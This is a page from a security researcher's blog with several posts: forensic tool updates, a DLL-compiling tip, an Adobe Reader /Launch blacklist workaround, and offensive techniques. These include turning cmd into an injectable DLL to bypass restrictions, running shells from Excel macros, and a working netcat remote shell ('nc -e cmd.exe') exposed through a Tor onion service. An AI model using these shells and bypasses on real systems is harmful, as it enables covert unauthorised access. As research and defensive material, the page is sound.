Didier Stevens

Wednesday 10 February 2016

Create Your Own CMD.XLS

Filed under: Hacking,My Software — Didier Stevens @ 0:00

For several years now I’ve been using my modified cmd.exe from Excel.

20160209-232633

I’m not releasing this spreadsheet with my cmd code, but I release the VBA code. You can create your own spreadsheet (or Word document) with this VBA file. If you don’t know how, here’s a video:

Sunday 13 December 2015

Windows Backup Privilege: CMD.EXE

Filed under: Forensics,My Software — Didier Stevens @ 0:00

You probably encountered the situation where you could not access a file, even as an administrator. For example hiberfil.sys.

There is a way in Windows to read any file regardless of DACLs: the backup privilege.

I updated ReactOS’ cmd.exe shell to use the backup privilege.

I added a new command: privilege. This command enables the backup privilege. To be able to enable a privilege, you need to have the privilege: you have the backup privilege if you’re an administrator and elevate the process (cmd.exe).

And I updated the copy and type command to make use of the enabled backup privilege.

Finally, there’s yet another new command: info. This command gives the MAC timestamps, file attributes and SDDL of the given file/folder.

cmd-dll_v0_0_4.zip (https)
MD5: D9D75A10F2C328B708303F9BD24B9AD3
SHA256: 952CFB833D4F22093D7DF837372239A1199C1738FFFFED76124AF8668F4D3877

Tuesday 19 April 2011

Signed Spreadsheet with cmd.dll & regedit.dll

Filed under: Hacking,My Software — Didier Stevens @ 14:05

Remember my Excel with cmd.dll & regedit.dll?

Paul Craig has a signed version of my spreadsheet on his iKAT site. Download ikat3.zip and look for officekat.xls.

These signed macros are handy when you’re working in a restricted environment that requires Office macros to be signed.

Sunday 4 July 2010

Quickpost: Preventing the /Launch Action “cmd.exe” Bypass

Filed under: PDF,Quickpost — Didier Stevens @ 21:20

Adobe has released a new Adobe Reader version that contains functionality to block my /Launch action PoC, but Bkis found a bypass: just put double quotes around cmd.exe, like this:  “cmd.exe”.

I did some research and discovered that Adobe implemented a blacklist of extensions for the launch action, but that the blacklisting functionality identifies the file type of “cmd.exe” as .exe”, and not .exe

Adobe is aware of the issue, and will evaluate the need to fix the blacklisting functionality.

But meanwhile, you can apply my fix to block launching “cmd.exe”.

You can configure the blacklist of extensions via the registry. Go to HKLM\SOFTWARE\Policies\Adobe\product\version\FeatureLockDown\cDefaultLaunchAttachmentPerms and open registry value tBuiltInPermList.

This is a list of |-separated extensions, together with the action Adobe Reader should take (3 means block the extension). Add .exe”:3 to block “cmd.exe”:

With this addition, Bkis’ bypass will not work anymore:

Some further testing shows that adding 2 double quotes is also a way to bypass the blacklist: “”cmd.exe””:

So we need to block this too:

I tested 3 and 4 quotes too, but this is not accepted by Adobe Reader. But should there still be other valid characters to append to the extension, you can block them in the same way as I showed here, until Adobe fixes the blacklist functionality.


Quickpost info


Monday 8 February 2010

Excel with cmd.dll & regedit.dll

Filed under: Hacking,My Software — Didier Stevens @ 21:17

I modified the source code of ReactOS‘ cmd and regedit for the following trick:

Let me summarize how I did this, as this is the combined result of several techniques I blogged about before.

You can download regedit.dll here and the new version of cmd.dll with the DLL command here. The DLL command I added allows you to load a DLL with LoadLibrary or directly into memory (/m option). When loaded with LoadLibrary, the library will be unloaded with FreeLibrary unless you use option /k to keep it loaded.

The DLL command assumes that your DLLs execute via the DllMain entry-point when they get loaded.

Thursday 4 February 2010

cmd.dll

Filed under: Hacking,My Software — Didier Stevens @ 1:16

This is something I’ve wanted to do for some time: take a command interpreter and transform it from an EXE into a DLL.

Why you ask? Well, because it’s a fun challenge 😉

But also because a DLL is loaded into a process. In a restricted environment, it can be injected into a legitimate process and thus bypass the restriction mechanisms.

Metasploit’s Meterpreter is another example of a command interpreter in DLL form.

cmd.exe from Microsoft is closed source, but there is an open-source variant available from the ReactOS project.

Compiling cmd.exe from ReactOS is simple: download the source-code and the ReactOS build environment. Install it, start the build environment  and issue command make cmd. That’s all you need to do to compile cmd.exe (I used version 0.3.11).

Transforming the source code to generate a DLL in stead of an EXE is simple. You need to change 3 files.

Edit file cmd.rbuild and make these changes to the module element:

<module name="cmd" type="win32dll" installbase="system32" installname="cmd.dll" unicode="yes" crt="msvcrt">

Because I want to use this DLL in GUI-processes without console, I need to create a console. Edit file cmd.c and add AllocConsole(); to function cmd_main:

SetFileApisToOEM();
InputCodePage= 0;
OutputCodePage = 0;

AllocConsole();

hConsole = CreateFile(_T("CONOUT$"), GENERIC_READ|GENERIC_WRITE,
 FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
 OPEN_EXISTING, 0, NULL);

And because a DLL has another entry-function than an EXE, edit file main.c and replace function main with function DllMain:

#include <precomp.h>

INT WINAPI
DllMain(
 IN PVOID hInstanceDll,
 IN ULONG dwReason,
 IN PVOID reserved)
{
 switch (dwReason)
 {
 case DLL_PROCESS_ATTACH:
 cmd_main(0, NULL);
 break;

 case DLL_THREAD_ATTACH:
 break;

 case DLL_THREAD_DETACH:
 break;

 case DLL_PROCESS_DETACH:
 break;
 }

 return TRUE;
}

That’s it. Recompile with make cmd to generate cmd.dll

There are still some improvements we can make, but that’s for a later version: error messages are not displayed, exiting the shell terminates the host process, …

You can download the modified source files and compiled cmd.dll here.

This is a screenshot of cmd.dll injected inside Excel with my memory module shellcode:

Wednesday 24 October 2018

Update: oledump.py Version 0.0.38

Filed under: maldoc,My Software,Update — Didier Stevens @ 0:00

This new version of oledump.py includes a new plugin to extract VBA code from PowerPoint files and an update to plugin plugin_http_heuristics.

plugin_http_heuristics was updated to increase the chance of success for the XOR dictionary attack, triggered by a maldoc sample I analyzed.

Two new options were added: -e and -k.

By default, plugin_http_heuristics searchers for keywords http: and https:. Using option -e, this list is extended with keywords msxml, adodb, shell, c:\, cmd and powershell.

With option -k, the default keyword list is replaced by your own list (using , as separator). Here I look for ftp (which is not present), remark that http is no longer detected:

oledump_V0_0_38.zip (https)
MD5: C1D7F71A390497A516F67D798BA25128
SHA256: 4CADEE69D024E9242CDA0CE3A9C22BCB1CAFF9D5BA2D946519C6B7C18F895B81

Tuesday 28 August 2018

Quickpost: Compiling DLLs with MinGW on Windows

Filed under: Quickpost — Didier Stevens @ 0:00

MinGW is not only available on Kali, of course, but also on Windows. Compiling a DLL is very similar.

MinGW is installed in folder C:\msys64 on my machine.

 

To compile 64-bit executables, you need to start the 64-bit shell first: launch C:\msys64\mingw64.exe

Then you can compile the DLL:

gcc -shared -o DemoDll-x64.dll DemoDll.cpp

For 32-bit executables, it’s the 32-bit shell: launch C:\msys64\mingw32.exe

Then you can compile the DLL:

gcc -shared -o DemoDll-x86.dll DemoDll.cpp

 

It’s also possible to start the shell and compile from a BAT file:

call C:\msys64\msys2_shell.cmd -mingw64 -here -c "gcc -shared -o DemoDll-x64.dll DemoDll.cpp"
call C:\msys64\msys2_shell.cmd -mingw32 -here -c "gcc -shared -o DemoDll-x86.dll DemoDll.cpp"

 

 


Quickpost info


Wednesday 25 July 2018

Extracting DotNetToJScript’s PE Files

Filed under: Forensics,Malware — Didier Stevens @ 0:00

I added a new option (-I, –ignorehex) to base64dump.py to make the extraction of the PE file inside a JScript script generated with DotNetToJScript a bit easier.

DotNetToJScript is James Forshaw‘s “tool to generate a JScript which bootstraps an arbitrary .NET Assembly and class”.

Here is an example of a script generated by James’ tool:

The serialized .NET object is embedded as a string concatenation of BASE64 strings, assigned to variable serialized_obj.

With re-search.py, I extract all strings from the script (e.g. strings delimited by double quotes):

The first 3 strings are not part of the BASE64 encoded object, hence I get rid of them (there are no unwanted strings at the end):

And now I have BASE64 characters, I just have to get rid of the doubles quotes and the newlines (base64dump searches for continuous strings of BASE64 characters). With base64dump‘s -w option I can get rid of whitespace (including newlines), and with option -i I can get rid of the double-quote character. Unfortunately, escaping of this character (\”) works on Windows, but then cmd.exe gets confused for the next pipe (it expects a closing double-quote). That’s why I introduced option -I, to specify characters with their hexadecimal value. Double-quote is 0x22, thus I use option -I 22:

This is the serialized object, and it contains the .NET assembly I want to analyze. .NET assemblies are .DLLs, e.g. PE files. With my YARA rule to detect PE files, I can find it inside the serialized data:

A PE file was found, and it starts at position 0x04C7. I can cut this data out with option -c:

Another method to find the start of the PE file, is to use a cut expression that searches for ‘MZ’, like this:

If there is more than one instance of string MZ, different cut-expressions must be tried to find the real start of the PE file. For example, this is the cut-expression to select data starting with the second instance of string MZ: -c “[‘MZ’]2:”

It’s best to pipe the cut-out data into pecheck, to validate that it is indeed a PE file:

pecheck also helps with finding the length of the PE file (with the given cut-expression, I select all data until the end of the serialized data).

Remark that there is an overlay (bytes appended to the end of the PE file), and that it starts at position 0x1400. Since I don’t expect an overlay in this .NET assembly, the overlay is not part of the PE file, but it is part of the serialization meta data.

Hence I can cut out the PE file precisely like this:

This PE file can be saved to disk now for reverse-engineering.

I have not read the .NET serialization format specification, but I can make an educated guess. Right before the PE file, there is the following data:

Remark the first 4 bytes (5 bytes before the beginning of the PE file): 00 14 00 00. That’s 0x1400 as a little-endian 32-bit integer, exactly the length of the PE file, 5120 bytes:

So that’s most likely another method to determine the length of the PE file.

 

Monday 5 February 2018

Quickpost: Remote Shell On Windows Via Tor Onion Service

Filed under: Networking,Quickpost — Didier Stevens @ 0:00

Creating a Tor onion service (aka hidden service) on a Windows Tor client.

I download the Tor expert bundle (this works with the Tor Browser too).

I create Tor configuration file torrc with these lines:

HiddenServiceDir C:\demo\Tor\service
HiddenServicePort 8662 127.0.0.1:12345

When Tor is started, folder C:\demo\Tor\Service will be created and populated with a couple of files (file hostname contains the .onion address created by Tor for this onion service).

The onion service will be listening on port 8662, and traffic will be forwarded to 127.0.0.1 port 12345.

It is possible to enable client authorization for this service (without client authorization, everybody who knows the .onion address and the port can connect to it). Basic client authorization uses a shared secret, and is configured with this line (torrc):

HiddenServiceAuthorizeClient basic testuser

I choose testuser as name for the client.

I start Tor with configuration file torrc like this: tor.exe -f torrc

The .onion address and client authorization cookie can be found in file hostname in the service folder:

nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser

Keep the authorization cookie secret of course, I show it here for the demo.

Now start the service on the target Windows machine with nc.exe (I downloaded nc.exe years ago, I don’t have the original URL anymore, my version is 1.11 with MD5 ab41b1e2db77cebd9e2779110ee3915d):

nc -e cmd.exe -L -s 127.0.0.1 -p 12345

Tor expert bundle and nc.exe have no extra dependencies (like DLLs), and can be executed as normal user.

Now the target machine is ready.

On another machine, I start Tor with a configuration file containing the authorization cookie:

HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g

And then I run ncat, because ncat.exe supports socks5 proxies (nc.exe doesn’t):

ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662

This gives me a remote shell:

Remark that this does not work with version 7.60, apparently because of a regression bug:

libnsock select_loop(): nsock_loop error 10038: An operation was attempted on something that is not a socket.

 


Quickpost info


Next Page »

Blog at WordPress.com.